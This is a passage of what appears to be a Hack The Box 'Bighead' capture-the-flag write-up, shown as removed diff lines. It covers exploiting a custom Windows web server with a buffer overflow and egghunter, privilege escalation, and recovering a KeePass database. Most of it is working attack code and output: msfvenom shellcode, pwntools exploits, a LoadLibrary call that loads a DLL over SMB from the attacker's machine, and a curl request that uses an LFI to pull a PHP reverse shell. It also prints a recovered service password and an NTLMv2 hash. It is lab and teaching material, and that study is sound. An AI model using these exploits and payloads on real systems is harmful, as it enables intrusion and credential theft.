-payload += "\xd3\x32\xc9\xab\x13\x9d\x32\x9e\x20\xda\xcd\x5f\x10"
-payload += "\x90\xf8\xf5\x1c\xce\x04\x1a\x9c\x0e\x53\x70\x9c\x66"
-payload += "\x03\x20\xcf\x93\x4c\xfd\x7c\x08\xd9\xfe\xd4\xfc\x4a"
-payload += "\x97\xda\xdb\xbd\x38\x25\x0e\xbe\x3f\xd9\xcc\xe9\xe7"
-payload += "\xb1\x2e\xaa\x17\x41\x45\x2a\x48\x29\x92\x05\x67\x99"
-payload += "\x5b\x8c\x20\xb1\xd6\x41\x82\x20\xe6\x4b\x42\xfc\xe7"
-payload += "\x78\x5f\x0f\x9d\xf1\x60\xf0\x62\x18\x05\xf1\x62\x24"
-payload += "\x3b\xce\xb4\x1d\x49\x11\x05\x1a\x42\x24\x28\x0b\xc9"
-payload += "\x46\x7e\x4b\xd8"
-
-stage1 = "POST /coffee HTTP/1.1\r\n"
-stage1 += "Host: dev.bighead.htb\r\n"
-stage1 += "Content-Length: {}\r\n\r\n".format(len(payload))
-stage1 += payload + "\r\n"
-stage1 += "\r\n"
-
-r = remote('172.23.10.186', 8008)
-r.send(stage1)
-r.recv()
-
-r = remote('172.23.10.186', 8008)
-jmp_eax = "f2125062"
-align_esp = "505C" # push eax, pop esp
-egghunter = "6681caff0f42526a0258cd2e3c055a74efb8773030748bfaaf75eaaf75e7ffe7"
-stage2 = align_esp + egghunter + "9090" + jmp_eax
-
-r.send("HEAD /" + stage2 + " HTTP/1.1\r\nHost: dev.bighead.htb\r\n\r\n")
-```
-
-When the egghunter is scanning memory, CPU usage goes to 100% for a few seconds.
-
-
-
-When it hits the egg, it executes the meterpreter stager and we get a connection:
-
-```
-msf5 exploit(multi/handler) > [*] Encoded stage with x86/shikata_ga_nai
-[*] Sending encoded stage (179808 bytes) to 172.23.10.186
-[*] Meterpreter session 1 opened (172.23.10.39:80 -> 172.23.10.186:49804) at 2019-05-03 19:37:47 -0400
-
-msf5 exploit(multi/handler) > sessions 1
-[*] Starting interaction with 1...
-```
-
-Nice, the exploit works locally.
-
-But when I tried running it against Bighead it didn't work so I replicated the nginx setup locally in Win7 and found that the second stage shellcode was being URL encoded by nginx. To work around this I had to fix the POST request and remove the `Content-Type` header so it would not URL encode the payload then switch the content body to the raw shellcode (non URL-encoded).
-
-The final exploit looks like this:
-
-```python
-#!/usr/bin/python
-
-from pwn import *
-import requests
-
-'''
-# msfvenom -p windows/meterpreter/reverse_tcp -b \x00\x0a\x0d -f python LHOST=10.10.14.23 LPORT=80
-[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
-[-] No arch selected, selecting arch: x86 from the payload
-Found 11 compatible encoders
-Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
-x86/shikata_ga_nai succeeded with size 368 (iteration=0)
-x86/shikata_ga_nai chosen with final size 368
-Payload size: 368 bytes
-Final size of python file: 1772 bytes
-'''
-
-egg = "\x77\x30\x30\x74" # w00t
-payload = egg + egg
-payload += "\xb8\xc3\x06\x6e\xa1\xd9\xcd\xd9\x74\x24\xf4\x5f\x2b"
-payload += "\xc9\xb1\x56\x83\xef\xfc\x31\x47\x0f\x03\x47\xcc\xe4"
-payload += "\x9b\x5d\x3a\x6a\x63\x9e\xba\x0b\xed\x7b\x8b\x0b\x89"
-payload += "\x08\xbb\xbb\xd9\x5d\x37\x37\x8f\x75\xcc\x35\x18\x79"
-payload += "\x65\xf3\x7e\xb4\x76\xa8\x43\xd7\xf4\xb3\x97\x37\xc5"
-payload += "\x7b\xea\x36\x02\x61\x07\x6a\xdb\xed\xba\x9b\x68\xbb"
-payload += "\x06\x17\x22\x2d\x0f\xc4\xf2\x4c\x3e\x5b\x89\x16\xe0"
-payload += "\x5d\x5e\x23\xa9\x45\x83\x0e\x63\xfd\x77\xe4\x72\xd7"
-payload += "\x46\x05\xd8\x16\x67\xf4\x20\x5e\x4f\xe7\x56\x96\xac"
-payload += "\x9a\x60\x6d\xcf\x40\xe4\x76\x77\x02\x5e\x53\x86\xc7"
-payload += "\x39\x10\x84\xac\x4e\x7e\x88\x33\x82\xf4\xb4\xb8\x25"
-payload += "\xdb\x3d\xfa\x01\xff\x66\x58\x2b\xa6\xc2\x0f\x54\xb8"
-payload += "\xad\xf0\xf0\xb2\x43\xe4\x88\x98\x0b\xc9\xa0\x22\xcb"
-payload += "\x45\xb2\x51\xf9\xca\x68\xfe\xb1\x83\xb6\xf9\xc0\x84"
-payload += "\x48\xd5\x6a\xc4\xb6\xd6\x8a\xcc\x7c\x82\xda\x66\x54"
-payload += "\xab\xb1\x76\x59\x7e\x2f\x7d\xcd\x8b\xa5\x8f\x1a\xe4"
-payload += "\xbb\x8f\x24\xa4\x32\x69\x74\x14\x14\x26\x35\xc4\xd4"
-payload += "\x96\xdd\x0e\xdb\xc9\xfe\x30\x36\x62\x94\xde\xee\xda"
-payload += "\x01\x46\xab\x91\xb0\x87\x66\xdc\xf3\x0c\x82\x20\xbd"
-payload += "\xe4\xe7\x32\xaa\x92\x07\xcb\x2b\x37\x07\xa1\x2f\x91"
-payload += "\x50\x5d\x32\xc4\x96\xc2\xcd\x23\xa5\x05\x31\xb2\x9f"
-payload += "\x7e\x04\x20\x9f\xe8\x69\xa4\x1f\xe9\x3f\xae\x1f\x81"
-payload += "\xe7\x8a\x4c\xb4\xe7\x06\xe1\x65\x72\xa9\x53\xd9\xd5"
-payload += "\xc1\x59\x04\x11\x4e\xa2\x63\x21\x89\x5c\xf1\x0e\x32"
-payload += "\x34\x09\x0f\xc2\xc4\x63\x8f\x92\xac\x78\xa0\x1d\x1c"
-payload += "\x80\x6b\x76\x34\x0b\xfa\x34\xa5\x0c\xd7\x99\x7b\x0c"
-payload += "\xd4\x01\x8c\x77\x95\xb6\x6d\x88\xbf\xd2\x6e\x88\xbf"
-payload += "\xe4\x53\x5e\x86\x92\x92\x62\xbd\xad\xa1\xc7\x94\x27"
-payload += "\xc9\x54\xe6\x6d"
-
-data = {"payload": payload}
-proxies = {"http": "http://127.0.0.1:8080"}
-
-s = requests.Session()
-r = requests.Request("POST", "http://dev.bighead.htb/coffee/", data=data)
-p = r.prepare()
-p.body = payload
-del p.headers["Content-Type"]
-try:
- s.send(p, proxies=proxies, timeout=0.2)
-except requests.exceptions.ReadTimeout:
- pass
-
-r = remote("10.10.10.112", 80)
-jmp_eax = "f2125062"
-align_esp = "505C" # push eax, pop esp
-egghunter = "6681caff0f42526a0258cd2e3c055a74efb8773030748bfaaf75eaaf75e7ffe7"
-stage2 = align_esp + egghunter + "9090" + jmp_eax
-
-r.send("HEAD /" + stage2 + " HTTP/1.1\r\nHost: dev.bighead.htb\r\n\r\n")
-```
-
-Launching exploit...
-```
-# python exploit.py
-[+] Opening connection to 10.10.10.112 on port 80: Done
-[*] Closed connection to 10.10.10.112 port 80
-
-msf5 exploit(multi/handler) >
-[*] Encoded stage with x86/shikata_ga_nai
-[*] Sending encoded stage (179808 bytes) to 10.10.10.112
-[*] Meterpreter session 4 opened (10.10.14.23:80 -> 10.10.10.112:49306) at 2019-05-03 20:47:52 -0400
-
-msf5 exploit(multi/handler) >
-msf5 exploit(multi/handler) > sessions 4
-[*] Starting interaction with 4...
-
-meterpreter > getuid
-Server username: PIEDPIPER\Nelson
-```
-
-### Exploit development (Method #2 using LoadLibrary over SMB)
-
-Instead of using an egghunter, we can also use the `LoadLibrary` function to load a remote DLL hosted on our machine through the Impacket SMB server. Using the debugger, I can see that the `LoadLibrary` is exported from `bheadsrv.dll` at address `0x625070C8`.
-
-
-
-The function is simple and only expects a single parameter: the filename of the DLL file:
-
-```
-HMODULE LoadLibraryA(
- LPCSTR lpLibFileName
-);
-```
-
-The exploit uses the same `JMP EAX` gadget to jump to the beginning of the buffer. Then we align the stack, and set `EAX` past the buffer and we push it to the stack: this will contain the address of the string of our SMB server. Finally we move the address of `LoadLibrary` into `EBX` then `CALL EBX` to call the function. The filename argument for `LoadLibrary` is popped from the stack and the DLL is then loaded.
-
-```
-nasm > add al, 0x28
-00000000 0428 add al,0x28
-
-nasm > push eax
-00000000 50 push eax
-
-nasm > mov ebx, 0x62501B58
-00000000 BB581B5062 mov ebx,0x62501b58
-
-nasm > call ebx
-00000000 FFD3 call ebx
-```
-
-The final exploit looks like this:
-
-```python
-#!/usr/bin/python
-from pwn import *
-import binascii
-
-r = remote("10.10.10.112", 80)
-
-load_lib = ""
-load_lib += "\x80\x04\x28" # add ah, 28h
-load_lib += "\x50" # push eax
-load_lib += "\xBB\x58\x1B\x50\x62" # 62501B58 ebx -> LoadLibrary
-load_lib += "\xFF\xD3" # call ebx
-
-smb = "\\\\10.10.14.23\\share\\x.dll"
-load_lib = binascii.hexlify(load_lib)
-smb = binascii.hexlify(smb)
-
-jmp_eax = "f2125062"
-align_esp = "505C" # push eax, pop esp
-buf = align_esp + load_lib + "90" * 24 + jmp_eax + smb
-head = "HEAD /" + buf + " HTTP/1.1\r\n"
-head += "Host: dev.bighead.htb\r\n"
-head += "Connection: close\r\n"
-head += "\r\n"
-r.send(head)
-r.close()
-```
-
-This makes the server download a .dll from my box and execute it. So I can generate a malicious DLL with msfvenom and have the server fetch it to give me a reverse shell:
-
-```
-# msfvenom -p windows/meterpreter/reverse_tcp -o x.dll -f dll LHOST=10.10.14.23 LPORT=4444
-[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
-[-] No arch selected, selecting arch: x86 from the payload
-No encoder or badchars specified, outputting raw payload
-Payload size: 341 bytes
-Final size of dll file: 5120 bytes
-Saved as: x.dll
-```
-
-Because the server uses SMB to talk back to us, we'll start an SMB share with Impacket:
-
-```
-# /usr/share/doc/python-impacket/examples/smbserver.py share .
-Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies
-
-[*] Config file parsed
-[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
-[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
-[*] Config file parsed
-[*] Config file parsed
-[*] Config file parsed
-```
-
-Firing up the exploit...
-
-```
-# python smbexploit.py
-191
-HEAD /505C042850bb581b5062ffd3909090909090909090909090909090909090909090909090f21250625c5c31302e31302e31342e32335c73686172655c782e646c6c HTTP/1.1
-Host: dev.bighead.htb
-Connection: close
-...
-[*] Incoming connection (10.10.10.112,60888)
-[*] AUTHENTICATE_MESSAGE (PIEDPIPER\Nelson,PIEDPIPER)
-[*] User Nelson\PIEDPIPER authenticated successfully
-[*] Nelson::PIEDPIPER:4141414141414141:e8e4ea60eb43ad439299c50c245654ca:010100000000000000f1a060fc85d4017e4c61f17754814500000000010010004f00650051004a00490073005600450002001000730047006b007400540068006f005600030010004f00650051004a00490073005600450004001000730047006b007400540068006f0056000700080000f1a060fc85d40106000400020000000800300030000000000000000000000000200000282e2960465001d017bb89eae52e3c9002f1edefda8c004fd0186e57fb9bd3eb000000000000000000000000
-[*] Disconnecting Share(1:IPC$)
-...
-msf exploit(multi/handler) > [*] Sending stage (179779 bytes) to 10.10.10.112
-[*] Meterpreter session 1 opened (10.10.14.23:4444 -> 10.10.10.112:60889) at 2018-11-26 21:53:32 -0500
-
-msf exploit(multi/handler) > sessions 1
-[*] Starting interaction with 1...
-
-meterpreter > getuid
-Server username: PIEDPIPER\Nelson
-```
-
-### Windows enumeration
-
-Now that I finally have a shell, I tried to get `user.txt` but this version is just a troll:
-
-```
-meterpreter > cat /users/nelson/desktop/user.txt
-
- .-''-. .-------. .---. .-./`) _______ .---. .---.
- .'_ _ \ | _ _ \ | ,_| \ .-.') / __ \ | | |_ _|
- / ( ` ) '| ( ' ) | ,-./ ) / `-' \ | ,_/ \__) | | ( ' )
-. (_ o _) ||(_ o _) / \ '_ '`) `-'`"`,-./ ) | '-(_{;}_)
-| (_,_)___|| (_,_).' __ > (_) ) .---. \ '_ '`) | (_,_)
-' \ .---.| |\ \ | |( . .-' | | > (_) ) __ | _ _--. |
- \ `-' /| | \ `' / `-'`-'|___ | | ( . .-'_/ )|( ' ) | |
- \ / | | \ / | \| | `-'`-' / (_{;}_)| |
- `'-..-' ''-' `'-' `--------`'---' `._____.' '(_,_) '---'
- .---. ,-----. ,---. ,---. .-''-. .-'''-.
- | ,_| .' .-, '. | / | | .'_ _ \ / _ \
- ,-./ ) / ,-.| \ _ \ | | | .'/ ( ` ) ' (`' )/`--'
- \ '_ '`) ; \ '_ / | :| | _ | |. (_ o _) |(_ o _).
- > (_) ) | _`,/ \ _/ || _( )_ || (_,_)___| (_,_). '.
- ( . .-' : ( '\_/ \ ;\ (_ o._) /' \ .---..---. \ :
- `-'`-'|___\ `"/ \ ) / \ (_,_) / \ `-' /\ `-' |
- | \'. \_/``".' \ / \ / \ /
- `--------` '-----' `---` `'-..-' `-...-'
- ,---------. .---. .---. .-''-.
- \ \| | |_ _| .'_ _ \
- `--. ,---'| | ( ' ) / ( ` ) '
- | \ | '-(_{;}_). (_ o _) |
- :_ _: | (_,_) | (_,_)___|
- (_I_) | _ _--. | ' \ .---.
- (_(=)_) |( ' ) | | \ `-' /
- (_I_) (_{;}_)| | \ /
- '---' '(_,_) '---' `'-..-'
- .---. .---. ____ .-'''-. .---. .---.
- .-, | | |_ _| .' __ `. / _ \| | |_ _|
- ,-.| \ _ | | ( ' ) / ' \ \ (`' )/`--'| | ( ' )
- \ '_ / | | '-(_{;}_)|___| / |(_ o _). | '-(_{;}_)
- _`,/ \ _/ | (_,_) _.-` | (_,_). '. | (_,_)
- ( '\_/ \ | _ _--. | .' _ |.---. \ :| _ _--. |
- `"/ \ ) |( ' ) | | | _( )_ |\ `-' ||( ' ) | |
- \_/``" (_{;}_)| | \ (_ o _) / \ / (_{;}_)| |
- '(_,_) '---' '.(_,_).' `-...-' '(_,_) '---'
-```
-
-Doing some enumeration next...
-
-System info:
-
-```
-meterpreter > getuid
-Server username: PIEDPIPER\Nelson
-
-meterpreter > sysinfo
-Computer : PIEDPIPER
-OS : Windows 2008 (Build 6002, Service Pack 2).
-Architecture : x86
-System Language : en_GB
-Domain : DEVELOPMENT
-Logged On Users : 5
-Meterpreter : x86/windows
-```
-
-Installed programs:
-
-Notice SSH is installed, 7-Zip and Keepass.
-
-```
-meterpreter > run post/windows/gather/enum_applications
-
-[*] Enumerating applications installed on PIEDPIPER
-
-Installed Applications
-======================
-
- Name Version
- ---- -------
- 7-Zip 18.05 18.05
- Bitnami TestLink Module 1.9.17-0
- Bitvise SSH Server 7.44 (remove only) 7.44
- Hotfix for Microsoft .NET Framework 3.5 SP1 (KB953595) 1
- Hotfix for Microsoft .NET Framework 3.5 SP1 (KB958484) 1
- KeePass Password Safe 2.40 2.40
- Microsoft .NET Framework 3.5 SP1 3.5.30729
- Microsoft .NET Framework 4.5.2 4.5.51209
- Microsoft .NET Framework 4.5.2 4.5.51209
- Microsoft Visual C++ 2008 Redistributable - x86 9.0.21022 9.0.21022
- Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 9.0.30729.6161
- Mozilla Firefox 52.9.0 ESR (x86 en-GB) 52.9.0
- Notepad++ (32-bit x86) 7.5.9
- Oracle VM VirtualBox Guest Additions 5.2.12 5.2.12.0
- Python 2.7.15 2.7.15150
- Security Update for Microsoft .NET Framework 3.5 SP1 (KB2604111) 1
- Security Update for Microsoft .NET Framework 3.5 SP1 (KB2736416) 1
- Security Update for Microsoft .NET Framework 3.5 SP1 (KB2840629) 1
- Security Update for Microsoft .NET Framework 3.5 SP1 (KB2861697) 1
- Update for Microsoft .NET Framework 3.5 SP1 (KB963707) 1
- Update for Microsoft .NET Framework 4.5.2 (KB4040977) 1
- Update for Microsoft .NET Framework 4.5.2 (KB4096495) 1
- Update for Microsoft .NET Framework 4.5.2 (KB4098976) 1
- Update for Microsoft .NET Framework 4.5.2 (KB4338417) 1
- Update for Microsoft .NET Framework 4.5.2 (KB4344149) 1
- Update for Microsoft .NET Framework 4.5.2 (KB4457019) 1
- Update for Microsoft .NET Framework 4.5.2 (KB4457038) 1
- Update for Microsoft .NET Framework 4.5.2 (KB4459945) 1
- VMware Tools 10.1.15.6677369
- XAMPP 5.6.36-0
-```
-
-A local service is also listening on port 2020:
-
-```
-C:\nginx>netstat -an
-netstat -an
-
-Active Connections
-
- Proto Local Address Foreign Address State
- TCP 0.0.0.0:80 0.0.0.0:0 LISTENING
- TCP 0.0.0.0:80 0.0.0.0:0 LISTENING
- TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
- TCP 0.0.0.0:2020 0.0.0.0:0 LISTENING
-```
-
-To access it remotely we can use the `portfwd` command within meterpreter:
-
-```
-meterpreter > portfwd add -l 2020 -p 2020 -r 127.0.0.1
-[*] Local TCP relay created: :2020 <-> 127.0.0.1:2020
-```
-
-It's some kind of SSH server: `Bitvise SSH Server (WinSSHD)`
-
-```
-# nc -nv 127.0.0.1 2020
-Ncat: Version 7.70 ( https://nmap.org/ncat )
-Ncat: Connected to 127.0.0.1:2020.
-SSH-2.0-7.44 FlowSsh: Bitvise SSH Server (WinSSHD) 7.44: free only for personal non-commercial use
-```
-
-I don't have the credentials so I looked for a while in the registry and eventually found a needle in the haystack.
-
-```
-meterpreter > search -f *nginx*
-Found 14 results...
- c:\nginx\nginx.exe (3115008 bytes)
- c:\nginx\conf\nginx-orig.conf (2773 bytes)
- c:\nginx\conf\nginx.conf (6608 bytes)
- c:\nginx\conf\nginx.conf_bkp (4525 bytes)
- c:\nginx\contrib\geo2nginx.pl (1272 bytes)
- c:\nginx\contrib\unicode2nginx\unicode-to-nginx.pl (1090 bytes)
- c:\nginx\contrib\vim\ftdetect\nginx.vim (198 bytes)
- c:\nginx\contrib\vim\ftplugin\nginx.vim (29 bytes)
- c:\nginx\contrib\vim\indent\nginx.vim (250 bytes)
- c:\nginx\contrib\vim\syntax\nginx.vim (125645 bytes)
- c:\nginx\logs\nginx.pid (6 bytes)
- c:\ProgramData\Microsoft\User Account Pictures\nginx.dat
- c:\Users\All Users\Microsoft\User Account Pictures\nginx.dat
- c:\Windows\System32\nginx.reg (4268 bytes)
-```
-
-The `nginx.reg` stands out:
-
-```
-C:\users\nelson>type c:\Windows\System32\nginx.reg
-type c:\Windows\System32\nginx.reg
-Windows Registry Editor Version 5.00
-
-[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\nginx]
-"Type"=dword:00000010
-"Start"=dword:00000002
-"ErrorControl"=dword:00000001
-"ImagePath"=hex(2):43,00,3a,00,5c,00,50,00,72,00,6f,00,67,00,72,00,61,00,6d,00,\
- 20,00,46,00,69,00,6c,00,65,00,73,00,5c,00,6e,00,73,00,73,00,6d,00,5c,00,77,\
- 00,69,00,6e,00,33,00,32,00,5c,00,6e,00,73,00,73,00,6d,00,2e,00,65,00,78,00,\
- 65,00,00,00
-"DisplayName"="Nginx"
-"ObjectName"=".\\nginx"
-"Description"="Nginx web server and proxy."
-"DelayedAutostart"=dword:00000000
-"FailureActionsOnNonCrashFailures"=dword:00000001
-"FailureActions"=hex:00,00,00,00,00,00,00,00,00,00,00,00,03,00,00,00,14,00,00,\
- 00,01,00,00,00,60,ea,00,00,01,00,00,00,60,ea,00,00,01,00,00,00,60,ea,00,00
-"Authenticate"=hex:48,00,37,00,33,00,42,00,70,00,55,00,59,00,32,00,55,00,71,00,39,00,55,00,2d,00,59,00,75,00,67,00,79,00,74,00,35,00,46,00,59,00,55,00,62,00,59,00,30,00,2d,00,55,00,38,00,37,00,74,00,38,00,37,00,00,00,00,00
-"PasswordHash"="336d72676e6333205361797a205472794861726465722e2e2e203b440a"
-
-[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\nginx\Parameters]
-"Application"=hex(2):43,00,3a,00,5c,00,6e,00,67,00,69,00,6e,00,78,00,5c,00,6e,\
- 00,67,00,69,00,6e,00,78,00,2e,00,65,00,78,00,65,00,00,00
-"AppParameters"=hex(2):00,00
-"AppDirectory"=hex(2):43,00,3a,00,5c,00,6e,00,67,00,69,00,6e,00,78,00,00,00
-"AppStdin"=hex(2):73,00,74,00,61,00,72,00,74,00,20,00,6e,00,67,00,69,00,6e,00,\
- 78,00,00,00
-"AppStdout"=hex(2):43,00,3a,00,5c,00,6e,00,67,00,69,00,6e,00,78,00,5c,00,6c,00,\
- 6f,00,67,00,73,00,5c,00,73,00,65,00,72,00,76,00,69,00,63,00,65,00,2e,00,6f,\
- 00,75,00,74,00,2e,00,6c,00,6f,00,67,00,00,00
-"AppStderr"=hex(2):43,00,3a,00,5c,00,6e,00,67,00,69,00,6e,00,78,00,5c,00,6c,00,\
- 6f,00,67,00,73,00,5c,00,65,00,72,00,72,00,6f,00,72,00,2e,00,6c,00,6f,00,67,\
- 00,00,00
-
-[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\nginx\Parameters\AppExit]
-@="Restart"
-
-[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\nginx\Enum]
-"0"="Root\\LEGACY_NGINX\\0000"
-"Count"=dword:00000001
-"NextInstance"=dword:00000001
-```
-
-The `Authenticate` key contains: `48,00,37,00,33,00,42,00,70,00,55,00,59,00,32,00,55,00,71,00,39,00,55,00,2d,00,59,00,75,00,67,00,79,00,74,00,35,00,46,00,59,00,55,00,62,00,59,00,30,00,2d,00,55,00,38,00,37,00,74,00,38,00,37,00,00,00,00,00`
-
-I like using Cyberchef to decode and convert data, it's much faster to try different filters/conversion than coding it in python.
-
-
-
-Password: `H73BpUY2Uq9U-Yugyt5FYUbY0-U87t87`
-
-I can now SSH in with user `nginx` but I'm stuck in some sort of limited shell:
-```
-# ssh -p 2020 nginx@127.0.0.1
-nginx@127.0.0.1's password: --> `H73BpUY2Uq9U-Yugyt5FYUbY0-U87t87`
-
-bvshell:/$ whoami
-whoami: Command not found.
-
-bvshell:/$ pwd
-/
-
-bvshell:/$ ls
-anonymous apache apache_start.bat apache_stop.bat apps catalina_service.bat catalina_start.bat catalina_stop.bat cgi-bin
-contrib ctlscript.bat FileZillaFTP filezilla_setup.bat filezilla_start.bat filezilla_stop.bat htdocs img install
-licenses locale mailoutput mailtodisk MercuryMail mercury_start.bat mercury_stop.bat mysql mysql_start.bat
-mysql_stop.bat nginx.exe passwords.txt perl php phpMyAdmin properties.ini readme_de.txt readme_en.txt
-RELEASENOTES sendmail service.exe setup_xampp.bat src test_php.bat tmp tomcat uninstall.dat
-uninstall.exe user.txt webalizer webdav xampp-control.exe xampp-control.ini xampp-control.log xampp_shell.bat xampp_start.exe
-xampp_stop.exe
-```
-
-I checked out the Bitvise website for information on `bvshell` and saw that it's some kind of chroot jail:
-
-
-
-That would explain why the above directory listing of the root directory shows the content of xampp and not the root of the Windows server.
-
-There's a `user.txt` file in the directory but I can't seem to read it.
-```
-bvshell:/$ cat user.txt
--bvshell: Reading binary file as a text.
-```
-
-### Local File Include
-
-The Testlink application is located in `/apps/testlink/htdocs`.
-
-The `linkto.php` file contains an LFI, the important code is shown below:
-
-```php
-// alpha 0.0.1 implementation of our new pipercoin authentication tech
-// full API not done yet. just submit tokens with requests for now.
-if(isset($_POST['PiperID'])){$PiperCoinAuth = $_POST['PiperCoinID']; //plugins/ppiper/pipercoin.php
- $PiperCoinSess = base64_decode($PiperCoinAuth);
- $PiperCoinAvitar = (string)$PiperCoinSess;}
-[...]
-require_once($PiperCoinAuth);
-```
-
-When I do a GET request on linkto.php, I get the following error message:
-
-```
-Fatal error: require_once(): Failed opening required '' (include_path='C:\xampp\php\PEAR;.;C:\xampp\apps\testlink\htdocs\lib\functions\;C:\xampp\apps\testlink\htdocs\lib\issuetrackerintegration\;C:\xampp\apps\testlink\htdocs\lib\codetrackerintegration\;C:\xampp\apps\testlink\htdocs\lib\reqmgrsystemintegration\;C:\xampp\apps\testlink\htdocs\third_party\') in C:\xampp\apps\testlink\htdocs\linkto.php on line 62
-```
-
-The `linkto.php` has a `require_once($PiperCoinAuth)` command, and because `$PiperCoinAuth` is under direct control of users through the POST PiperCoinID parameter, we can include any arbitrary PHP file.
-
-I generated a PHP meterpreter payload.
-
-```
-# msfvenom -p php/meterpreter/reverse_tcp -o met.php LHOST=10.10.14.23 LPORT=4444
-[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
-[-] No arch selected, selecting arch: php from the payload
-No encoder or badchars specified, outputting raw payload
-Payload size: 1112 bytes
-Saved as: met.php
-```
-
-Then sent a POST request to execute PHP code through my SMB server
-
-```
-# curl -XPOST --data "PiperID=1&PiperCoinID=\\\\10.10.14.23\share\met.php" http://code.bighead.htb/testlink/linkto.php
-```
-
-Finally, I get a proper shell as SYSTEM on the target system
-
-```
-msf5 exploit(multi/handler) > [*] Encoded stage with php/base64
-[*] Sending encoded stage (51106 bytes) to 10.10.10.112
-[*] Meterpreter session 4 opened (10.10.14.23:4444 -> 10.10.10.112:49159) at 2019-05-02 21:06:18 -0400
-
-msf5 exploit(multi/handler) > sessions 4
-[*] Starting interaction with 4...
-
-meterpreter > getuid
-Server username: SYSTEM (0)
-```
-Got user flag:
-```
-meterpreter > cat /users/nginx/desktop/user.txt
-5f158a...
-```
-
-### Getting root.txt from Keepass
-
-The `root.txt` is yet another troll:
-
-```
-meterpreter > cat /users/administrator/desktop/root.txt
-
- * * *
-
- Gilfoyle's Prayer
-
-___________________6666666___________________
-____________66666__________66666_____________
-_________6666___________________666__________
-_______666__6____________________6_666_______
-_____666_____66_______________666____66______
-____66_______66666_________66666______666____
-___66_________6___66_____66___66_______666___
-__66__________66____6666_____66_________666__
-_666___________66__666_66___66___________66__
-_66____________6666_______6666___________666_
-_66___________6666_________6666__________666_
-_66________666_________________666_______666_
-_66_____666______66_______66______666____666_
-_666__666666666666666666666666666666666__66__
-__66_______________6____66______________666__
-___66______________66___66_____________666___
-____66______________6__66_____________666____
-_______666___________666___________666_______
-_________6666_________6_________666__________
-____________66666_____6____66666_____________
-___________________6666666________________
-
- Prayer for The Praise of Satan's Kingdom
-
- Praise, Hail Satan!
- Glory be to Satan the Father of the Earth
- and to Lucifer our guiding light
- and to Belial who walks between worlds
- and to Lilith the queen of the night
- As it was in the void of the beginning
- Is now,
-and ever shall be, Satan's kingdom without End
-
- so it is done.
-
- * * *
-```
-
-When I started a shell my PHP meterpreter kept dropping so I used the `multi/manage/upload_exec` metasploit module to upload an .exe meterpreter and get another meterpreter session. This time I could spawn a shell without losing access.
-
-```
-msf5 post(multi/manage/upload_exec) > run
-
-[*] Uploading /root/htb/bighead/met.exe to met.exe
-[*] Executing command: met.exe
-[*] Encoded stage with x86/shikata_ga_nai
-[*] Sending encoded stage (179808 bytes) to 10.10.10.112
-
-[*] Meterpreter session 7 opened (10.10.14.23:5555 -> 10.10.10.112:49167) at 2019-05-02 21:19:51 -0400
-
-meterpreter > shell
-Process 3316 created.
-Channel 1 created.
-Microsoft Windows [Version 6.0.6002]
-Copyright (c) 2006 Microsoft Corporation. All rights reserved.
-
-C:\xampp\apps\testlink\htdocs>whoami
-whoami
-nt authority\system
-```
-
-The administrator's `C:\Users\Administrator\AppData\Roaming\KeePass` directory contains a Keepass configuration file: `keepass.config.xml`. It contains the name of the last keyfile used : `admin.png` and the database file: `root.txt`. Notice that the file name is `root.txt:Zone.Identifier` and not just `root.txt` so this means we are looking at NTFS alternate data streams here.
-
-```
-[...]
-
-..\..\Users\Administrator\Desktop\root.txt:Zone.Identifier
-true
-..\..\Users\Administrator\Pictures\admin.png
-
-[...]
-```
-
-We can check this by doing `dir /r` in the Desktop folder and we can see:
-
-```
-C:\Users\Administrator\Desktop>dir /ah
-dir /ah
- Volume in drive C has no label.
- Volume Serial Number is 7882-4E78
-
- Directory of C:\Users\Administrator\Desktop
-
-06/10/2018 14:33 1,519 root.txt
- 1 File(s) 1,519 bytes
- 0 Dir(s) 16,316,542,976 bytes free
-
-C:\Users\Administrator\Desktop>dir /r /ah
-dir /r /ah
- Volume in drive C has no label.
- Volume Serial Number is 7882-4E78
-
- Directory of C:\Users\Administrator\Desktop
-
-06/10/2018 14:33 1,519 root.txt
- 7,294 root.txt:Zone.Identifier:$DATA
- 1 File(s) 1,519 bytes
- 0 Dir(s) 16,316,542,976 bytes free
-
-```
-
-Because the box only has powershell version 2, I can't use the `-stream` flag to extract the ADS. But I found by pure luck that copying the file over SMB will automatically extract the data stream and create two files on my VM:
-
-```
-C:\Users\Administrator\Desktop>attrib -h root.txt
-
-C:\Users\Administrator\Desktop>copy root.txt \\10.10.14.23\share
- 1 file(s) copied.
-
-[...]
-
--rwxr-xr-x 1 root root 1519 Dec 31 1969 root.txt
--rwxr-xr-x 1 root root 7294 Oct 6 10:33 root.txt:Zone.Identifier
-```
-
-I also copied the keyfile `admin.png`, then renamed `root.txt:Zone.Identifier` file to a .kdbx extension:
-
-```
-C:\Users\Administrator\Desktop>copy ..\pictures\admin.png \\10.10.14.23\share
-copy ..\pictures\admin.png \\10.10.14.23\share
- 1 file(s) copied.
-```
-
-```
-# file root.kdbx
-root.kdbx: Keepass password database 2.x KDBX
-```
-
-When I tried to use keepass2john it didn't work and just aborted without extracting the hash:
-
-```
-# keepass2john -k admin.png root.kdbx
-admin.png
-Aborted
-```
-
-Keepass uses the sha256 hash of the keyfile mixed with the password to produce the hash. In this case though the keyfile results in a hash that starts with a null byte so that seems to create a problem with keepass2john:
-
-```
-# sha256sum admin.png
-0063c12d1bf2ac03fb677e1915d1e96e3ab2cb7e381a186e58e8a06c5a296f39 admin.png
-```
-
-The fix was to just upgrade John to the latest version and I was able to get the hash after:
-
-```
-# keepass2john -k admin.png root.kdbx
